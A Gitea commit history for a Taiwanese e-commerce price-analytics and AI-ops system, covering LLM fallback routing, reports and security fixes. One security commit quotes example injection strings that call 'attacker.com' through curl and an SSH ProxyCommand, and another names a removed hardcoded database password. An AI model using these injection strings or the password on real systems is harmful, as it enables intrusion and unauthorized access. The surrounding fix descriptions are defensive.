Commit Graph

44 Commits

Author SHA1 Message Date
ogt
3351f5f93e 清除產品表面 AI 自動化人工阻擋
Some checks failed
CD Pipeline / deploy (push) Has been cancelled
2026-07-01 13:36:36 +08:00
OoO
d6d8777e41 V10.601 收斂 Gemini 與密鑰治理
All checks were successful
CD Pipeline / deploy (push) Successful in 1m12s
2026-06-06 14:52:46 +08:00
OoO
4bc271f7ed V10.542 拆分可用比價覆蓋率口徑 2026-06-01 10:01:48 +08:00
OoO
2a11ba26a7 V10.534 收緊 PChome rescore 覆核語意
All checks were successful
CD Pipeline / deploy (push) Successful in 1m8s
2026-06-01 02:14:34 +08:00
OoO
c0a06e1798 Share review envelopes with OpenClaw and PPT 2026-05-24 23:25:51 +08:00
OoO
dcabebbcf2 Expose PChome rescore review metrics 2026-05-24 21:12:27 +08:00
OoO
65d38d4632 V10.407 shorten ai runner residency
All checks were successful
CD Pipeline / deploy (push) Successful in 1m34s
2026-05-24 13:32:35 +08:00
OoO
c016200bf4 硬封鎖 Gemini API 預設出站 2026-05-21 14:45:32 +08:00
OoO
00a808518e 將 111 Ollama fallback 收斂到輕量模型 2026-05-21 12:39:23 +08:00
OoO
88101cf5d0 [V10.355] rescue near-threshold identity cohorts 2026-05-21 09:21:46 +08:00
OoO
a46396ca7f [V10.350] 關閉 Gemini 預設備援出站
All checks were successful
CD Pipeline / deploy (push) Successful in 1m6s
2026-05-20 20:10:21 +08:00
OoO
3cfc82925e [V10.325] 收斂 Gemini 為 Ollama 備援
Some checks failed
CD Pipeline / deploy (push) Has been cancelled
2026-05-20 12:54:49 +08:00
OoO
cd13044849 串接 PChome 單位價覆核隊列
All checks were successful
CD Pipeline / deploy (push) Successful in 1m4s
2026-05-20 00:29:40 +08:00
OoO
5e2186a808 防止 action_plans 重複回長
All checks were successful
CD Pipeline / deploy (push) Successful in 1m0s
2026-05-19 21:19:41 +08:00
OoO
75390f8495 收緊 PChome 同款比對門檻
All checks were successful
CD Pipeline / deploy (push) Successful in 1m19s
2026-05-19 15:53:09 +08:00
OoO
dafde7e1a7 強化 MOMO PChome 比價可信鏈路
All checks were successful
CD Pipeline / deploy (push) Successful in 1m45s
2026-05-19 15:26:10 +08:00
OoO
e7e045253d 補 OpenClaw QA 備援與市場情報交接
All checks were successful
CD Pipeline / deploy (push) Successful in 1m4s
2026-05-19 12:46:43 +08:00
OoO
d82a1671b6 fix: route openclaw qa through ollama cascade 2026-05-13 21:17:22 +08:00
OoO
0bdb993914 補 OpenClaw 報表資料解析診斷
All checks were successful
CD Pipeline / deploy (push) Successful in 55s
2026-05-13 12:53:57 +08:00
OoO
6313fdd293 對齊 Ollama-first flag 語義
All checks were successful
CD Pipeline / deploy (push) Successful in 56s
2026-05-13 12:00:21 +08:00
OoO
36d0e5d5f3 標記 RAG 命中節省 LLM 呼叫
All checks were successful
CD Pipeline / deploy (push) Successful in 56s
2026-05-13 09:21:50 +08:00
OoO
98063059c2 feat(p14-18): PPT vision + DeepSeek 直連 + caller_registry + Hermes 強化 + postmortem
All checks were successful
CD Pipeline / deploy (push) Successful in 2m50s
Operation Ollama-First v5.0 / Phase 14-18 全套(statesman 批准全部)

Phase 14 — services/ppt_vision_service.py (新檔, 200+ 行)
- minicpm-v:latest(GCP Primary 已拉 5.5GB,代替 qwen2-vl 不存在)
- check_image(image_path) → VisionResult.issues_found 視覺異常清單
- 走 resolve_ollama_host 三主機 retry + mark_unhealthy
- 繁中強制 system prompt + 結構化解析 ⚠️ marker
- feature flag PPT_VISION_ENABLED 預設 OFF

Phase 15 — services/deepseek_service.py (新檔, 170+ 行)
- DeepSeek API 直連 (api.deepseek.com/v1),OpenAI-compatible
- 取代部分 OpenRouter 路徑(直連便宜 ~30-50% + 延遲低)
- deepseek-chat ($0.014/$0.28) / deepseek-reasoner ($0.14/$2.19)
- feature flag DEEPSEEK_DIRECT_ENABLED 預設 OFF
- DeepSeekResponse 含 input_tokens/output_tokens/duration_ms

Phase 16 — services/llm_caller_registry.py (新檔, 130+ 行)
- CALLER_REGISTRY frozenset 集中管理 35+ 個 caller 名(ADR-028 白名單)
- assert_known_caller(strict=False) 整合到 ai_call_logger __init__
- 不在 registry → log warning(不 raise,保留擴展彈性)
- list_callers_by_service() 分組除錯
- 解 critic-A11 第 3 輪 L4 修補(命名分散三層)

Phase 17 — _is_low_quality_response 4 條新規則(A2 警訊深化)
- 規則 5:純英文回應(中文字元 < 30%)
- 規則 6:thinking-mode 漏洞(<think>...</think> 洩漏)
- 規則 7:重複迴圈偵測(前 50 字出現 ≥ 3 次)
- 規則 8:佔位符未填充({{var}} / [TODO] / <待填>)

Phase 18 — docs/operation_ollama_first_v5_postmortem.md (新檔)
- 戰役完整時間軸(Day 1-2)
- 3 大決策替代分析
- 4 個 critical hotfix 教訓
- Owen 三護欄落地對照
- KPI 達成度(Wave 1 提前 4 天 / Wave 2 提前 10 天)
- 統帥手動清單 + 7 條未來戰役教訓

Phase 13 補強(合併本 commit):
- ai_call_logger COST_TABLE 補 7 個新模型(qwen3:14b / qwen2.5:7b-instruct
  / qwen2.5-coder:32b / qwen2-vl:7b / deepseek-r1:14b / gemma3:4b / minicpm-v)

regression: 214 unit tests 全綠(4:02 跑完),2 skipped

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-04 10:19:13 +08:00
OoO
c7d6db31f2 feat(p11): RAG 自主學習 + Promotion Gate 4 階段護欄(feature flag OFF)
Some checks are pending
CD Pipeline / deploy (push) Has started running
Operation Ollama-First v5.0 / Phase 11 / RAG 自主學習迴圈

services/rag_service.py (532 行)
- RAGService.query() — bge-m3 embed + cosine 0.85 threshold + top_k=5
- get_embedding_signature() — v5.0 護欄 #3 一致性檢查 (SHA1[:12])
- fire-and-forget rag_query_log INSERT (不阻塞主流程)
- feedback() — Telegram 👍/👎 寫回 feedback_score
- RAG_ENABLED 預設 OFF(戰前行為不變)

services/learning_pipeline.py (750 行)
- Distiller — 純 Hermes 規則引擎,零 LLM 成本
  Quality 規則:MCP >200 字 0.8 / LLM JSON ok 0.9 / TextRank 0.6 / 👍 1.0 / 👎 0.0
- PromotionGate — Owen v5.0 護欄 #1 鐵律
  Stage 1: quality_score >= 0.7
  Stage 2: 無幻覺檢測(規則引擎,零 LLM)
  Stage 3: 與既有 insight 相似度 < 0.95(Stage 3 在 episode embed 後啟用)
  Stage 4: weight >= 0.8 必經 Telegram 👍/👎
- expire_stale_reviews() — 24h 無回應自動降級 weight=0.5
- hash_human_approver — Telegram username SHA1[:8] PII 保護

services/hermes_analyst_service.py — 新增 analyze() RAG-first
- RAG hit → return synthesize(不燒 LLM)
- RAG miss → 既有 LLM 路徑 + enqueue learning_episodes

services/openclaw_strategist_service.py — Q&A 入口接 RAG-first
- 不動週/月/年報(敘事報告 RAG hit 機率低)

services/telegram_templates.py
- rag_feedback_keyboard() — 👍/👎 inline keyboard
- promotion_review_keyboard() — Stage 4 人工驗收按鈕

routes/openclaw_bot_routes.py — 3 組 callback handler
- rag_fb:{id}:{score} → rag_service.feedback()
- pg_ok:{episode_id} → PromotionGate.promote()
- pg_no:{episode_id} → PromotionGate.reject()

70 unit tests 全綠 + 全戰役 196 tests zero regression(4:17 跑完)

剩餘 limitations(Phase 12+ 補):
1. learning_episodes.embedding 寫入路徑(Stage 3 dedup 暫 skip)
2. PromotionGate worker cron 未掛
3. Telegram awaiting_review 推播未接(callback handler 已就位)

灰度開啟條件(建議 1 週後):
- ANTHROPIC_API_KEY 設定 + RAG_ENABLED=true + threshold=0.90 保守
- feedback_score >= 4 比率 > 70% → threshold 降至 0.85

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-03 23:56:12 +08:00
OoO
6aa5bcab88 fix(ollama-first): 3 個 feature flag 翻 ON — Ollama 優先、Gemini 殿後
Some checks failed
CD Pipeline / deploy (push) Has been cancelled
統帥 2026-05-03 23:30 指令:「免費的優先!最後才是 Gemini」

3 個 flag 預設 false → true(GCP Primary qwen3:14b 已拉好,無阻擋):
  1. OPENCLAW_QA_OLLAMA_FIRST=true
     → Telegram 戰略 Q&A 走 qwen3:14b(繁中強制 prompt + Gemini fallback)
     → 預期月省 ~6.7M Gemini tokens(戰前 8.4M × 80%)
  2. OPENCLAW_DAILY_HERMES_TEMPLATE=true
     → 日報走 Hermes 模板 + Gemini 200 字洞察(28K → 8K, -71%)
     → 預期月省 ~600K Gemini tokens
  3. NEMOTRON_OLLAMA_FIRST=true
     → 威脅分派走 GCP qwen3:14b → NIM 備援 → ADR-004 規則引擎兜底
     → 預期月省 ~5M NIM tokens(解配額痛點)

合計月省 ~12M tokens(與 ADR-029 預估 -23.5% 對齊)

緊急停用:env 變數設 false 即可(保留 fail-safe)
品質風險:A7 Q&A 有 _is_low_quality_response 守門 → 低品質自動 fallback Gemini

Operation Ollama-First v5.0 / Phase 6.5 hotfix #2 / 落地統帥指令

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-03 23:28:45 +08:00
OoO
838267c293 feat(p1+p3): logger 接 13 caller + Q&A/Nemotron/日報 feature flag 灰度
Phase 1 A4 — 13 個呼叫點接 ai_call_logger(覆蓋率 11.8% → 預估 50%+)
- TOP-1 nemoton_dispatcher: nemotron_dispatch caller (NIM 配額追蹤)
- TOP-2 openclaw_strategist: 4 reports (daily/weekly/monthly/meta) + qa caller
- TOP-3 hermes_analyst: hermes_analyst + hermes_intent (順修 commit 00591c5 殘留 bug)
- TOP-4 code_review_pipeline: code_review_hermes/openclaw/elephant 三鏈 (request_id 串)
- TOP-5 openclaw_bot_routes: openclaw_bot_main/gemini/nim 三層 fallback

Phase 3 A7 — OpenClaw Q&A → qwen3:14b(feature flag OFF)
- OPENCLAW_QA_OLLAMA_FIRST 灰度開關
- 繁中強制 system prompt + Gemini fallback chain
- _is_low_quality_response 品質守門(簡體字檢測 + 拒答訊號 + 結構分數)
- 黃金集 A/B 對照測試框架(10 樣本去 PII)

Phase 3 A8 — OpenClaw 日報 → Hermes 模板(feature flag OFF)
- OPENCLAW_DAILY_HERMES_TEMPLATE 灰度開關
- _compute_daily_kpi 純 SQL + Hermes 規則引擎
- _compute_gemini_insight 精簡 200 字洞察 prompt
- templates/daily_report_v2.j2 + _SafeUndefined 缺欄位優雅降級
- scripts/compare_daily_report_versions.py 雙版本盲測

Phase 3 A9 — Nemotron NIM → qwen3:14b(feature flag OFF)
- NEMOTRON_OLLAMA_FIRST 灰度開關(A2 紅燈:deepseek-r1 假支援,改 qwen3)
- _call_qwen3_dispatch + 既有 NIM tool_calls 解析共用
- 保留 ADR-004「🟡 [降級模式]」Hermes 規則引擎兜底

H6 PII fix — chat_id 進 ai_calls.meta 改 SHA1[:8](4 處 Bot Q&A)

Code Review pipeline — N3 動態 provider tag(gcp/secondary/111)+ A4 logger 三鏈

37 unit tests 全綠(routing 15 + golden 5 + qwen3 8 + daily template 8 + nemotron 1)

Operation Ollama-First v5.0 / Phase 1 A4 + Phase 3 A7+A8+A9

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-03 23:05:38 +08:00
OoO
dda0a06bfd fix(strategist): cast metadata_json text to jsonb for stale alert dedupe
critic post-review #1 (HIGH): `_send_data_stale_alert` 的 dedupe SQL 對
`ai_insights.metadata_json` (Column(Text)) 直接套用 `->>` operator,PG 會
raise `operator does not exist: text ->> unknown`,被外層 try/except 吞掉,
導致 dedupe 完全失效,daily/weekly/monthly 同日 stale 會送 2-3 次告警噪音。

修法:`metadata_json::jsonb->>'report_type'` 即時 cast Text→JSONB 再取 key
(寫入端用 json.dumps,內容為合法 JSON)。

影響:
- 僅修 services/openclaw_strategist_service.py:353 一行
- grep 確認全 repo 僅此一處 `metadata_json->>` 用法
- 不動 dedupe 視窗 / telegram 發送 / _save_to_ai_insights
- 不動 tests / requirements.txt / 其他檔案

Regression:cast 每次 stale 告警跑一次,效能影響可忽略;若歷史 row
metadata_json 內容非合法 JSON,cast 會 raise 並被 try/except 吞掉,
行為退回現狀(dedupe 失效,但不影響告警送出)。

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-03 12:29:22 +08:00
OoO
5daa1a45d8 fix(strategist): plug stale gate gaps in daily/monthly + psutil dep + complete stale shape (critic post-review)
critic post-review 對 commit 9158bbe 找到 3 個 BLOCKER,本 patch 補完。

#1 daily/monthly 路徑沒套 stale gate(Critical)
- generate_daily_report() 在 _fetch_sales_summary(7) 後立刻檢查 sales.get("stale"),
  避免 daily_sales_snapshot 過期時每天 09:00 復發 NT$0 偽日報
- generate_monthly_report() 在 _fetch_monthly_sales_summary 後檢查
  revenue==0 and sku_count==0(_fetch_monthly_sales_summary 沒內建 stale 機制,
  以「無資料」當訊號),避免月初產出 NT$0 偽月報
- 抽出 _send_data_stale_alert(report_type, last_date, period) 統一三條路徑共用,
  以 ai_insights 表查近 24h 同 report_type 的 data_stale_alert 紀錄做 dedupe,
  避免每天 daily/weekly 三份報告同時觸發 → 一天送多次告警噪音
- weekly stale 分支改用 _send_data_stale_alert(return shape 維持 status="error"
  不動,保 9158bbe weekly dedupe/cache 機制下游語意)
- daily/monthly 採 critic 建議的 status="skipped";scheduler 既有 task 不檢查
  status 也不 raise,EventRouter 不會被誤觸

#2 psutil 沒在 requirements.txt(Critical)
- requirements.txt 加 psutil>=5.9(ADR-019 Phase 2 要求 production 必裝)
- elephant_alpha_autonomous_engine._get_system_load_percentage 加註解:
  ImportError fallback 是 queue-based 估算(pending=14→70%、≥18→90%),
  與真實 CPU 無關,僅 dev defensive;prod 觸發即代表容器映像漏裝

#9 _fetch_sales_summary stale 分支 return shape 不完整(High)
- stale 分支補完 daily/current_7d_revenue/prev_7d_revenue/wow_pct/sku_count
- 數值欄位用 None(非 0):未套 stale gate 的上游 caller 在 prompt template
  `:,.0f` 會 raise TypeError,比靜默 0 明顯,迫使呼叫端必須 stale gate

三問自審:
- 方案正確:daily 不再發 NT$0(_fetch_sales_summary 後立刻 gate);psutil 會被
  pip install;stale shape None 在所有 caller 路徑要嘛被 gate 擋下要嘛 raise
- 影響完整:grep 確認 _fetch_sales_summary 三 caller(weekly/daily/monthly via
  _fetch_monthly_sales_summary)皆已加 gate;無下游依賴 data_stale return 字串
- Regression 風險:stale shape 改 None 為純擴充無 caller 取數值欄位;scheduler
  只讀 period/chart_count/action_count 不檢查 status;monthly revenue=0 gate
  在實務 P0 異常時告警,比靜默產 NT$0 月報可接受

不在本 patch scope(critic 任務描述明示禁動):
- 9158bbe weekly dedupe/cache 機制(_acquire_weekly_strategy_send_lock 等)
- elephant_alpha Phase 1 已修部分(trigger/dispatch/method raise)
- run_scheduler.py 排程設定
- tests/ 內任何測試

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-03 01:54:21 +08:00
OoO
9158bbe1a6 fix(ea): execute Phase 2 B-series data quality and gate improvements
All checks were successful
CD Pipeline / deploy (push) Successful in 2m40s
- B1 & B2: Updated SQL column names from 銷售金額 to 總業績 in openclaw_strategist_service.py and chart_generator_service.py
- B3: Removed bare except statements in DB fetchers to raise errors instead of failing silently
- B4: Implemented freshness gate (MAX(snapshot_date) < CURRENT_DATE - 2) in daily_sales_snapshot to prevent generating stale reports and send data stalled alerts
- B5: Replaced hardcoded 45.0 system load percentage with actual psutil CPU metric
2026-05-02 14:34:30 +08:00
OoO
0c2e9bbced 串接 AI 洞察向量化與漏通知入口
All checks were successful
CD Pipeline / deploy (push) Successful in 1m13s
2026-04-29 23:05:46 +08:00
ogt
05f2064346 fix: correct Gemini model name + use accessible NVIDIA NIM model
All checks were successful
CD Pipeline / deploy (push) Successful in 1m17s
gemini-2.5-flash-preview-05-20 → gemini-2.5-flash (correct API name)
nvidia/llama-3.1-nemotron-ultra-253b-v1 → meta/llama-3.3-70b-instruct
(nemotron-ultra requires premium account, llama-3.3-70b confirmed accessible)

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-25 11:03:11 +08:00
ogt
c299abba5d fix: restore Hermes to 111+hermes3 + add NVIDIA NIM auto-fallback for OpenClaw
All checks were successful
CD Pipeline / deploy (push) Successful in 3m0s
Hermes was wrongly redirected to 188 (CPU-only, 60s+ timeout).
111 has hermes3:latest with GPU acceleration (~10s response).

OpenClaw now auto-detects:
  1. Gemini (primary, when GEMINI_API_KEY set)
  2. NVIDIA NIM nemotron-ultra (auto-fallback, NVIDIA_API_KEY already set)
  3. Friendly error only when both are unavailable

This implements the user-requested auto-failover pattern: always try
primary first, silently fall back, restore automatically when primary recovers.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-25 10:31:00 +08:00
ogt
e4ad2432fd fix: remove bogus SSHJumpExecutor re-export that broke telegram AI import chain
All checks were successful
CD Pipeline / deploy (push) Successful in 1m43s
SSHJumpExecutor class never existed in auto_heal_service.py.
The dead import caused ImportError blocking telegram_ai_integration
from loading, which broke all natural language conversation in the bot.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-25 09:47:31 +08:00
ogt
5ef4151fa5 [V10.4-C] 三 AI NLP 鏈修復:Hermes/NemoTron/OpenClaw 全線串通
修復 P9-2 確認的自然語言對話完全失效問題:

- services/ai_orchestrator.py:
    4 處裸字串 SQL 全部包裝 text(),修復 SQLAlchemy 2.x ArgumentError
- services/hermes_analyst_service.py:
    新增 handle_l1() async 方法(Ollama hermes3 意圖分析 + rule-based fallback)
    asyncio.get_event_loop() → get_running_loop()(Py3.12+ 相容)
- services/nemoton_dispatcher_service.py:
    新增 handle_l2() async 方法(純 Python routing,不消耗 NIM 配額)
- services/openclaw_strategist_service.py:
    新增 generate_strategy_response()(Gemini 2.0 Flash,無 key 時優雅降級)
- telegram_ai_integration.py:
    整合 OpenClaw 為第三層(complexity >= 0.7 或 dispatch_to == "openclaw")
    _format_*_response 全改為繁體中文
    asyncio.get_event_loop() → get_running_loop()
    _extract_date_range "to" → "至"

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-25 01:43:20 +08:00
ogt
0099543c05 fix(security): 全域健檢 — 40 項安全/Bug/品質修復
Some checks failed
CD Pipeline / deploy (push) Failing after 5m18s
🔴 Critical
- auto_heal_service: 補 import re + sqlalchemy.text + 修正 orchestrator 變數名
  + autoheal_playbook→playbooks 表名 + _alert_and_store cooldown 修復
- aider_heal_executor: shell injection 改 shell=False + list 參數
- docker-compose: DISABLE_LOGIN 改 env var + 移除密碼 fallback + POSTGRES_HOST 修正
- app.py: /api/backup /api/run_task 等 6 個管理 API 加 @login_required
- config.py + pg_sync + e2e_test: 移除 wooo_pg_2026 hardcoded 密碼 fallback
- pg_backup.sh: 移除 TELEGRAM_TOKEN= 中間變數,直接用 $TELEGRAM_BOT_TOKEN
- migration 014: trigger_pattern→match_pattern + 補 error_type NOT NULL 欄位

🟡 High
- telegram_bot_service: str(e) 改通用訊息 + session try/finally + 移除 pa:/pr: 舊 callback
- run_scheduler: ElephantAlpha thread 死亡監控 + 自動重啟 + Telegram 告警
  + agent_context 03:30 TTL 定時清理任務
- openclaw_learning_service: build_rag_context 兩路徑加 .limit(200)
- hooks: commit-quality + momo-prod-guard 空 catch 改 stderr+exit(1)
- scripts/code_review: auto_yes 預設改 false
- db_backup_service: PGPASSWORD 透過 env dict 傳遞

📦 Migrations
- 013_autoheal: 修正建表順序 playbooks→incidents(外鍵前向引用)
- 018_add_missing_indexes: heal_logs/incidents 外鍵索引 + cleanup_expired_agent_context()

🟢 Infrastructure
- requirements.txt: 加版本下界 Flask>=2.3 SQLAlchemy>=1.4 等
- cd.yaml: 新增 run_scheduler.py + run_telegram_bot.py 監聽路徑
- .gitignore: insert_playbook_local.py 加入忽略

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-22 01:12:23 +08:00
ogt
38200a5e93 feat(reports): 新增日報/月報系統,整合圖表推播至 Telegram
All checks were successful
CD Pipeline / deploy (push) Successful in 4m51s
- services/openclaw_strategist_service.py:新增 generate_daily_report()(每日09:00業績快報+競品威脅+2圖表)和 generate_monthly_report()(每月1日07:00月度全景洞察+3圖表+MoM/YoY比較)
- services/chart_generator_service.py:新建圖表生成服務(6種深色商業圖表,revenue_trend / category_revenue / monthly_overview / price_gap / price_history_heatmap / price_trend)
- services/telegram_templates.py:重建訊息模板系統(5類模板:告警/報告/決策/系統/洞察)、新增 send_photo + send_report_with_charts 圖文推播
- scheduler.py:新增 run_daily_report_task / run_monthly_report_task(含 auto_heal 保護)
- run_scheduler.py:每日09:00日報 + 每月1日07:00月報排程(月報用每日gate判斷day==1)
- requirements.txt:新增 matplotlib + matplotlib-inline

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-21 15:17:48 +08:00
ogt
a62b83f488 feat(aiops): 完整 MCP + OpenClaw 全景電商分析管線
All checks were successful
CD Pipeline / deploy (push) Successful in 1m14s
- 新增 services/mcp_collector_service.py:Gemini Search Grounding 外部情報收集
- 重寫 services/openclaw_strategist_service.py:真實 Gemini 2.5 Flash 分析,DB 持久化
- scheduler.py:修復 generate_meta_analysis_report ImportError,串接 Meta-Analysis
- elephant_alpha_autonomous_engine.py:新增 weekly_insight 觸發器路由 OpenClaw

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-21 12:50:35 +08:00
ogt
20e83306fe security: fix SSH command injection in SSHJumpExecutor + implement AutoHealService
All checks were successful
CD Pipeline / deploy (push) Successful in 1m19s
Issues fixed:

1. [HIGH] OS Command Injection in execute_command() (CWE-78)
   command was accepted as a string and passed as the final SSH positional
   arg. Remote SSH executes it via sh -c, so shell metacharacters in
   command (semicolons, pipes, backticks) are interpreted.
   e.g. command="id; curl attacker.com" → two commands execute on target.
   Fix: command parameter changed to List[str]; TypeError raised if str
   is passed; SSH cmd built with ['--, *command] so remote shell sees
   argv, not a shell string. '--' stops SSH from interpreting options.

2. [HIGH] SSH Option Injection via host/user parameters (CWE-88)
   jump_host, target_host, jump_user, target_user were unsanitized.
   Attacker-controlled host like "-oProxyCommand=curl attacker.com #"
   could inject SSH options.
   Fix: _validate_host() / _validate_user() with strict regex on init
   and in execute_command(); ValueError raised on invalid input.

3. [BUG] AutoHealService.handle_exception() did not exist
   elephant_alpha_autonomous_engine.py imports and calls
   AutoHealService().handle_exception() — this would raise AttributeError
   at runtime. AutoHealService is now fully implemented:
   - Playbook lookup from DB (autoheal_models.Playbook)
   - ALLOWED_ACTION_TYPES allowlist (DOCKER_RESTART/WAIT_RETRY/ALERT_ONLY/SSH_CMD)
   - DOCKER_RESTART: static ['docker','restart',<validated_container>]
   - SSH_CMD: requires action_params.argv as list; host/user validated

4. [DESIGN] Duplicate SSHJumpExecutor across two files
   auto_heal_service.py and openclaw_strategist_service.py were byte-for-
   byte copies. Single source of truth now in auto_heal_service.py;
   openclaw_strategist_service.py re-exports SSHJumpExecutor.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-20 05:53:08 +08:00
ogt
1fd1622007 feat(telegram): 全面切換 HTML parse_mode + 三層式視覺分隔
All checks were successful
CD Pipeline / deploy (push) Successful in 1m12s
起因:Markdown 舊版 parse_mode 導致 \[Demo] / task\_name 反斜線外漏,
且三層結構(事件資訊 / AI 加工區 / 原始技術細節)分隔線不夠明顯。

切換 HTML parse_mode(只需 escape & < >,不會有反斜線副作用):
- telegram_templates.py 全模板重寫為 HTML
  * <b>粗體</b> / <code>module</code> / <pre>trace</pre>
  * H_DIV (━×20) 節間強分隔 / L_DIV (─×18) 節內弱分隔
  * 新增 triaged_alert() 實作 ADR-012 §④ 三層式結構
    [事件資訊] → ━━━ → [🤖 AI 分析] → ━━━ → [🔍 原始技術細節]

event_router.py:
- _hermes_observe_parsed() 回結構化 dict {summary, cause, actions}
  取代舊的字串版本
- _render_l1/l2_with_fallback 改用 tpl.triaged_alert() 統一格式
- _send() parse_mode 改 HTML

Call sites 同步改 HTML:
- routes/bot_api_routes.py price_decision_notify
- services/openclaw_strategist_service.py 兩個發送處
- services/telegram_bot_service.py 三個 edit_message_text
  (_handle_price_approve / _handle_price_reject / _handle_ops_callback)

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-19 13:54:44 +08:00
ogt
0b4f80ee8a feat(ai-ops): Agent Action Ladder 骨幹(ADR-012 Phase 1)+ 週報套模板
All checks were successful
CD Pipeline / deploy (push) Successful in 1m14s
ADR-012 核心設計:
- 4 級信任邊界:L0 直出 / L1 Hermes 觀察 / L2 NemoTron 診斷執行 / L3 OpenClaw HITL
- 通知鏈絕不中斷:每級失敗立即降級,保底 L0 模板 + 🟡 標記
- Audit Trail:每次 dispatch 自動寫 ai_insights (insight_type=agent_action)
- 安全白名單:L2 可呼叫 6 個安全 action(retry/query_km/silence + 3 個既有 NemoTron tool)

新增檔案:
- services/event_router.py — 事件分流入口,按 severity × event_type 分 Tier
- services/agent_actions.py — 安全 action 白名單(Phase 1 stub + 完整介面)
- docs/adr/ADR-012-agent-action-ladder.md — 完整設計 + 分階段計畫

Phase 1 狀態:
- L0 直出完整可用 
- L1 Hermes / L2 NemoTron 為 stub(Phase 2/3 填實作)
- Fallback 降級鏈已完整 
- 靜音檢查(is_silenced)+ Audit Trail 已就緒 

處理既有 TODO:
- services/openclaw_strategist_service.py::_notify_telegram_group()
  改用 telegram_templates.report() 統一週報格式

全景盤點(新 memory):
- reference_telegram_endpoints_map.md — 21 個 Telegram 發送點
- feedback_agent_action_ladder.md — 操作規範
  (+ 既有 ADR-011 跨專案隔離規範一併生效)

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-19 12:46:51 +08:00
ogt
528a6c0468 feat(telegram): 統一訊息格式模板(六類 + callback prefix)
All checks were successful
CD Pipeline / deploy (push) Successful in 1m12s
新增 services/telegram_templates.py:
- alert() 🚨 告警 / warning() ⚠️ 警告 / info() ℹ️ 資訊
- success()  成功 / report() 📊 報告 / price_decision() 💰 決策
- decision_result() 回執(edit_message 用)
- 全訊息標 [EwoooC] 前綴(跨專案共用 bot 識別來源,見 ADR-011)
- _escape_md() 處理 user input,避免 Markdown 破版
- _tail() 取 trace 末段,避開曠日 stack trace

接入點改用模板(P2/P3):
- routes/bot_api_routes.py price_decision_notify
- services/openclaw_strategist_service.py _send_price_decision_requests
- services/telegram_bot_service.py _handle_price_approve/reject
  callback_data 改用 momo: prefix(舊 pa:/pr: 向下相容)

尚未接入(待下次迭代):
- scheduler.py 各 task 錯誤通知
- _notify_telegram_group() 週報推播

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-19 12:28:23 +08:00
ogt
8d0b79cd00 feat(ops): restore Telegram chain + P2/P3 price decisions + ADR-011
All checks were successful
CD Pipeline / deploy (push) Successful in 1m19s
P2 (Inline Keyboard 降價決策):
- routes/bot_api_routes.py: POST /bot/api/price-decision/notify
- services/telegram_bot_service.py: pa:/pr: callback handlers

P3 (OpenClaw 自動觸發):
- services/openclaw_strategist_service.py: Gemini 週報末尾輸出
  PRICE_DECISIONS_JSON,解析後自動推送 inline keyboard 給 admin

Ops 修復(跨專案隔離與容器斷訊根因):
- ADR-011 全面規範多專案共存邊界、禁用 --remove-orphans
- .gitea/workflows/cd.yaml: sync 模式一次重啟三容器
  (原本僅 momo-pro-system,scheduler/telegram-bot 靜默落伍)
- run_telegram_bot.py: 從 scripts/tools/ 複製到根目錄
  (消滅 docker-compose mount 建空目錄的陷阱)
- CLAUDE.md: 補核心容器表、診斷黃金三句、緊急指令

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-19 12:25:04 +08:00
ogt
986908222d feat(openclaw): 週日 02:00 Meta-Analysis + 全排程表完成
All checks were successful
CD Pipeline / deploy (push) Successful in 1m6s
openclaw_strategist_service.py:
- generate_meta_analysis_report(): 從 ai_insights 抽取週統計
  (高頻 SKU / relearn 事件 / 歸檔數) → Gemini 綜合分析 → 雙寫 KM + Telegram

scheduler.py:
- run_openclaw_meta_analysis_task() 排程包裝

run_scheduler.py:
- 週日 02:00 掛入 run_openclaw_meta_analysis_task

P1 三層 Agent 自主學習排程全部完成:
  02:00 DB備份 / 03:00 去重 / 04:00 品質重算
  週一 07:00 週報 / 週日 02:00 Meta-Analysis

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-19 11:40:58 +08:00
ogt
2394d65634 feat(openclaw): 週報 KM 引用標注(citation footer)
All checks were successful
CD Pipeline / deploy (push) Successful in 1m12s
- _build_citation_footer(): 查詢當週 ai_insights 引用來源
  依日期+類型彙整,附結構化「📚 本報告引用來源」區塊
- generate_weekly_strategy_report():
  prompt 加入行內引用指令(引用自 YYYY-MM-DD ~ YYYY-MM-DD 的洞察)
  Gemini 回傳後自動追加 citation footer,連同週報雙寫入 ai_insights

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-19 11:39:22 +08:00
ogt
1b4f3a7bbe feat: EwoooC 初始化 — 完整專案推版至 Gitea
Some checks failed
CD Pipeline / deploy (push) Failing after 59s
- 建立 Gitea Actions CD pipeline (.gitea/workflows/cd.yaml)
- 部署模式: rsync Python 檔案至 188 → docker restart (volume mount)
- Dockerfile/requirements 變動時自動重建 Docker image
- 部署通知: Telegram (開始/成功/失敗)
- 健康檢查: https://mo.wooo.work/health (最多 5 次重試)
- 同步最新 CLAUDE.md / ADR-008 / memory (2026-04-19)

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-19 01:21:13 +08:00